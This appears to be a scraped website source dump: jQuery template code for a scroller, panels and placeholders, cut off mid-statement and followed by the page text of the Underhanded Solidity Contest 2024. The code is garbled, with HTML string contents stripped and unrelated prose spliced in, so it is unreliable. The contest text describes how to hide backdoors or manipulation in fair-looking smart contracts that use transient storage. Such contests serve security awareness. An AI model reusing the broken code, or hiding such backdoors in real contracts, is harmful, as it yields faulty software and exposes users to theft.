.each(function() {
var $this = $(this),
$image = $this.find('.image'),
$img = $image.find('img'),
x;
// Assign image.
$image.css('background-image', 'url(' + $img.attr('src') + ')');
// Set background position.
if (x = $img.data('position'))
$image.css('background-position', x);
// Hide .
$img.hide();
});
// Features.
$('.features')
.scrollex({
mode: 'middle',
top: '-20vh',
bottom: '-20vh',
initialize: function() {
// Deactivate section.
$(this).addClass('inactive');
},
enter: function() {
// Activate section.
$(this).removeClass('inactive');
}
});
})(jQuery);
================================================
FILE: assets/js/util.js
================================================
(function($) {
/**
* Generate an indented list of links from a nav. Meant for use with panel().
* @return {jQuery} jQuery object.
*/
$.fn.navList = function() {
var $this = $(this);
$a = $this.find('a'),
b = [];
$a.each(function() {
var $this = $(this),
indent = Math.max(0, $this.parents('li').length - 1),
href = $this.attr('href'),
target = $this.attr('target');
b.push(
'' +
'' +
$this.text() +
''
);
});
return b.join('');
};
/**
* Panel-ify an element.
* @param {object} userConfig User config.
* @return {jQuery} jQuery object.
*/
$.fn.panel = function(userConfig) {
// No elements?
if (this.length == 0)
return $this;
// Multiple elements?
if (this.length > 1) {
for (var i=0; i < this.length; i++)
$(this[i]).panel(userConfig);
return $this;
}
// Vars.
var $this = $(this),
$body = $('body'),
$window = $(window),
id = $this.attr('id'),
config;
// Config.
config = $.extend({
// Delay.
delay: 0,
// Hide panel on link click.
hideOnClick: false,
// Hide panel on escape keypress.
hideOnEscape: false,
// Hide panel on swipe.
hideOnSwipe: false,
// Reset scroll position on hide.
resetScroll: false,
// Reset forms on hide.
resetForms: false,
// Side of viewport the panel will appear.
side: null,
// Target element for "class".
target: $this,
// Class to toggle.
visibleClass: 'visible'
}, userConfig);
// Expand "target" if it's not a jQuery object already.
if (typeof config.target != 'jQuery')
config.target = $(config.target);
// Panel.
// Methods.
$this._hide = function(event) {
// Already hidden? Bail.
if (!config.target.hasClass(config.visibleClass))
return;
// If an event was provided, cancel it.
if (event) {
event.preventDefault();
event.stopPropagation();
}
// Hide.
config.target.removeClass(config.visibleClass);
// Post-hide stuff.
window.setTimeout(function() {
// Reset scroll position.
if (config.resetScroll)
$this.scrollTop(0);
// Reset forms.
if (config.resetForms)
$this.find('form').each(function() {
this.reset();
});
}, config.delay);
};
// Vendor fixes.
$this
.css('-ms-overflow-style', '-ms-autohiding-scrollbar')
.css('-webkit-overflow-scrolling', 'touch');
// Hide on click.
if (config.hideOnClick) {
$this.find('a')
.css('-webkit-tap-highlight-color', 'rgba(0,0,0,0)');
$this
.on('click', 'a', function(event) {
var $a = $(this),
href = $a.attr('href'),
target = $a.attr('target');
if (!href || href == '#' || href == '' || href == '#' + id)
return;
// Cancel original event.
event.preventDefault();
event.stopPropagation();
// Hide panel.
$this._hide();
// Redirect to href.
window.setTimeout(function() {
if (target == '_blank')
window.open(href);
else
window.location.href = href;
}, config.delay + 10);
});
}
// Event: Touch stuff.
$this.on('touchstart', function(event) {
$this.touchPosX = event.originalEvent.touches[0].pageX;
$this.touchPosY = event.originalEvent.touches[0].pageY;
})
$this.on('touchmove', function(event) {
if ($this.touchPosX === null
|| $this.touchPosY === null)
return;
var diffX = $this.touchPosX - event.originalEvent.touches[0].pageX,
diffY = $this.touchPosY - event.originalEvent.touches[0].pageY,
th = $this.outerHeight(),
ts = ($this.get(0).scrollHeight - $this.scrollTop());
// Hide on swipe?
if (config.hideOnSwipe) {
var result = false,
boundary = 20,
delta = 50;
switch (config.side) {
case 'left':
result = (diffY < boundary && diffY > (-1 * boundary)) && (diffX > delta);
break;
case 'right':
result = (diffY < boundary && diffY > (-1 * boundary)) && (diffX < (-1 * delta));
break;
case 'top':
result = (diffX < boundary && diffX > (-1 * boundary)) && (diffY > delta);
break;
case 'bottom':
result = (diffX < boundary && diffX > (-1 * boundary)) && (diffY < (-1 * delta));
break;
default:
break;
}
if (result) {
$this.touchPosX = null;
$this.touchPosY = null;
$this._hide();
return false;
}
}
// Prevent vertical scrolling past the top or bottom.
if (($this.scrollTop() < 0 && diffY < 0)
|| (ts > (th - 2) && ts < (th + 2) && diffY > 0)) {
event.preventDefault();
event.stopPropagation();
}
});
// Event: Prevent certain events inside the panel from bubbling.
$this.on('click touchend touchstart touchmove', function(event) {
event.stopPropagation();
});
// Event: Hide panel if a child anchor tag pointing to its ID is clicked.
$this.on('click', 'a[href="#' + id + '"]', function(event) {
event.preventDefault();
event.stopPropagation();
config.target.removeClass(config.visibleClass);
});
// Body.
// Event: Hide panel on body click/tap.
$body.on('click touchend', function(event) {
$this._hide(event);
});
// Event: Toggle.
$body.on('click', 'a[href="#' + id + '"]', function(event) {
event.preventDefault();
event.stopPropagation();
config.target.toggleClass(config.visibleClass);
});
// Window.
// Event: Hide on ESC.
if (config.hideOnEscape)
$window.on('keydown', function(event) {
if (event.keyCode == 27)
$this._hide(event);
});
return $this;
};
/**
* Apply "placeholder" attribute polyfill to one or more forms.
* @return {jQuery} jQuery object.
*/
$.fn.placeholder = function() {
// Browser natively supports placeholders? Bail.
if (typeof (document.createElement('input')).placeholder != 'undefined')
return $(this);
// No elements?
if (this.length == 0)
return $this;
// Multiple elements?
if (this.length > 1) {
for (var i=0; i < this.length; i++)
$(this[i]).placeholder();
return $this;
}
// Vars.
var $this = $(this);
// Text, TextArea.
$this.find('input[type=text],textarea')
.each(function() {
var i = $(this);
if (i.val() == ''
|| i.val() == i.attr('placeholder'))
i
.addClass('polyfill-placeholder')
.val(i.attr('placeholder'));
})
.on('blur', function() {
var i = $(this);
if (i.attr('name').match(/-polyfill-field$/))
return;
if (i.val() == '')
i
.addClass('polyfill-placeholder')
.val(i.attr('placeholder'));
})
.on('focus', function() {
var i = $(this);
if (i.attr('name').match(/-polyfill-field$/))
return;
if (i.val() == i.attr('placeholder'))
i
.removeClass('polyfill-placeholder')
.val('');
});
// Password.
$this.find('input[type=password]')
.each(function() {
var i = $(this);
var x = $(
$('
The goal of the Underhanded Solidity Contest is to write seemingly innocent and straightforward-looking Solidity code which actually contains malicious behavior or backdoors.
Based on this year’s theme, the participants are tasked with the challenge to develop smart contracts that leverage transient storage (EIP-1153), i.e. the TSTORE and TLOAD opcodes.
Transient storage is as cheap as warm storage access with both reads and writes priced at 100 gas. It is well-suited for use-cases such as cheap re-entrancy locks.
The aim of USC 2024 is to showcase a transient storage use-case in a way that looks legitimate but contains a hidden vulnerability or manipulation mechanism in the implementation that is exposed because of transient storage.
Things to keep in mind:
The compiler does not yet allow using transient as a data location in high-level Solidity code. For the time being, data stored in this location can only be accessed using the TSTORE and TLOAD opcodes in inline assembly.
Simplicity is key! The shorter the submission is, the better. For instance, leave out ERC20 functions that do not add value to the objective of the contest.
Bonus points if the submission includes a unique and interesting real-world scenario in the readme file.
Extra points for a clear and concise explanation of the vulnerability built into your submission.
We love being surprised! Explain the vulnerability in a separate file named rugpull.txt or spoiler.txt, so the judges can evaluate the submission without knowing where the malicious code is hidden.
Judges
Judges are presented with anonymised submissions. This year, the submissions will be assessed by:
The top 3 submissions will receive a ticket to the next Solidity Summit (location and dates TBA)
Furthermore, the three winners will be added to the Board of Fame. The winners and all qualified submissions will receive a custom Underhanded Solidity Contest t-shirt.
Coding Brief & Guidelines
All you need to know about contest participation and submission!
Brief
Build a decentralized app or write a smart contract that looks fair, but can be "manipulated" using transient storage opcodes in inline assembly.
This could be by, e.g., failing to reset the transient storage by the end of the call or breaking the composability of the code. The only hard requirement is that the flaw is hidden.
Plausibility & Originality
Remember to consider plausibility. Code that drops down to inline assembly without any clear reason will look immediately suspicious, no matter how cleverly written the assembly-level flaw is.
In addition to that it's needless to say that truly original and unique ideas will receive higher scores than already well known exploit/backdoor mechanisms.
Simplicity is key!
Submissions that are clear and concise will rank higher than those that are convoluted and verbose. It's easy to hide a vulnerability in complex and poorly written code, but harder to hide in clean and straightforward looking code.
Timeline
Make sure to send submissions before the end of the deadline!
Winners will be announced in time before Devcon SEA 2024 in November.
Open-Source License
The entirety of your submission must be licensed under an open-source license. You must not submit anything that cannot be published publicly on our blog or GitHub.
Please email your submissions before the deadline [2024-08-31, 11:59PM UTC] to sol_underhanded@ethereum.org. Entries should consist of a ZIP file containing a README describing your submission and how it works [spoilers into a different file!], and one or more Solidity files.
Each person can only enter one submission. If you want to make a team submission, nominate a single person to submit on your team’s behalf. Since entries will be forwarded to the judges and assessed anonymously, please do not include identifying information in the ZIP file.
Who can participate?
Anybody over the age of 18 can participate. Judges and organizers of this contest are excluded from participation. If your jurisdiction requires you to pay taxes on prizes or imposes other restrictions, please make sure to adhere to those. If taking part in such contests is prohibited in your area please adhere to your local laws.
About
Inspired by the Underhanded C Contest and the first Underhanded Solidity Contest, organized in 2017 by Nick Johnson, in 2020 the Solidity team decided that it is time for a revival. Nowadays, the Underhanded Solidity Contest takes place regularly on an annual to bi-annual basis.
The Underhanded Solidity Contest aims to:
Raise awareness about smart contract security.
Uncover language design faults.
Battle-test recently introduced language features and restrictions.
Highlight anti-patterns in smart contact development.
Establish new best practices for secure smart contract development.
Board of Fame
The Underhanded Solidity Board of Fame lists the winners of all Underhanded Solidity Contests throughout the years.
The first contest was helt in 2017 and evolved around the topic of "ICOs". Read more in the 2017 Winner Announcement.
The topic of the second Underhanded Contest in 2020 was "Upgrade Mechanisms". Read more in the 2020 Winner Announcement.
And finally, in 2024, the theme was "Transient Storage" as mentioned in the contest details above. Read more about the theme and the winners in the 2024 Winner Announcement.
You have questions, want to get involved by sponsoring a prize, helping with judging or proposing a theme for the next Underhanded Solidity Contest? Then feel free to get in touch!